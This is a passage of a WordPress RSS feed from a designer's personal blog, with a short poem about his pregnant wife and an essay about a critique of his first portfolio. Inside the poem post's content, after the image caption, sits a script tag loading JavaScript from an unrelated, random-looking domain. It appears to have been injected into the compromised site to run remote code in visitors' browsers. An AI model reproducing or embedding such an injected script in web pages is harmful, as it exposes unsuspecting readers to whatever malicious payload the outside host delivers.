		<comments>http://travisneilson.com/thought/golden-canopy/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 05:46:52 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
		<category><![CDATA[Experiences]]></category>

		<guid isPermaLink="false">http://travisneilson.com/?p=1474</guid>
		<description><![CDATA[Under golden canopy<br />
my queen, my life,<br />
stood, poised for photography,<br />
this woman, my wife.<br /><br />

Her eyes alit with pride,<br />
gracefully she smiled.<br />
My gorgeous bride,<br />
carrying my unborn child.]]></description>
			<content:encoded><![CDATA[<p><img src="http://travisneilson.com/wp-content/upLoads/Jayna_5mo.jpg" alt="Jayna_5mo" title="Jayna_5mo" width="620" height="412" class="alignnone size-full wp-image-1477" /><em>Jayna at 5 months</em><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Humble Beginning</title>
		<link>http://travisneilson.com/thought/humble-beginning/</link>
		<comments>http://travisneilson.com/thought/humble-beginning/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 12:50:49 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
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		<guid isPermaLink="false">http://travisneilson.com/?p=1218</guid>
		<description><![CDATA[Recently I let another designer, whom I respect, look over my first portfolio in a critical review type setting. As soon as he took the box up into his hand I began to speak. “Now this is the first one I ...” He cut me off promptly, and told me that he knows I can ‘sell the desert to a camel,’ but that I am not allowed to talk in this exercise.]]></description>
			<content:encoded><![CDATA[<div class="container_12">
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	    <h1><a href="http://travisneilson.com">Travis Neilson | Designer &amp; Photo-taker</a></h1> 
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<div class="body-col-1 grid_12 humble-beginning">

<div>
<h2 class="gone">Humble Beginning</h2>
<a href="http://travisneilson.com/2009/11/08/humble-beginning/"><img src="http://travisneilson.com/wp-content/upLoads/humble-title.png" style="position:relative;top:-46px;left:-10px;" /></a>
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<div class="grid_6 alpha">
	<p>Recently I let another designer, whom I respect, look over my first portfolio in a critical review type setting. As soon as he took the box up into his hand I began to speak. “Now this is the first one I …” He cut me off promptly, and told me that he knows I can ‘sell the desert to a camel,’ but that I am not allowed to talk in this exercise.</p>
	<p>I am glad I didn’t because his comments were more than generous, and the portfolio alone fared much higher than I would have thought. </p>
	<p>The portfolio itself is a series of bi-folded sheets tucked into a spray-paint adorned cardboard box. Each sheet speaks to a different skill that I was selling. Identity &amp; Logo, World Wide Web, and Packaging Design are some of the categories the viewer would find — all under the three main titles “In Sight, Insight, Incite.” In Sight were the commissions I had completed at that point. Insight covered the works I had done in school or my own studies. Finally, Incite was a resumé and call to action. Clever I thought — still do actually.</p>
</div>

<div class="grid_6 omega">
	<p>The problem was that for all these words (this was a copy heavy piece) and themes, the portfolio really said nothing. Similar to a document I sometimes get from a client to place into a layout that has every other word emboldened or italicized, this portfolio — which was the voice of my skill, and my call for work — had nothing emphasized. In short, if everything is bold — nothing is bold.</p>
	<p>I said in my first portfolio “I can do anything you need!” But it read instead “I don’t know what I am good at!” This was an indicator of a larger problem: when I first began to solicit my services as a creative, I really had no idea who I was as a designer.</p>
	<p>The good news is that I love designing, and for the moment, that was good enough. Overtime I learned my strengths and how to emphasize those as the product that I was selling. Narrowing down the particular field of design that I work in is a step toward becoming a specialist, and therefore a sought after commodity.</p>
<div style="margin-top:20px;">
<div class="insight-thumb"><a href="http://travisneilson.com/wp-content/upLoads/insight-1.jpg"><span></span><img src="http://travisneilson.com/wp-content/upLoads/insight-1t.jpg" width="144" height="97" class=" alignnone size-full wp-image-1261" /></a></div>

<div class="insight-thumb"><a href="http://travisneilson.com/wp-content/upLoads/insight-2.jpg"><span></span><img src="http://travisneilson.com/wp-content/upLoads/insight-2t.jpg" width="144" height="97" class=" alignnone size-full wp-image-1261" /></a></div>

<div class="insight-thumb"><a href="http://travisneilson.com/wp-content/upLoads/insight-3.jpg"><span></span><img src="http://travisneilson.com/wp-content/upLoads/insight-3t.jpg" width="144" height="97" class=" alignnone size-full wp-image-1261" /></a></div>
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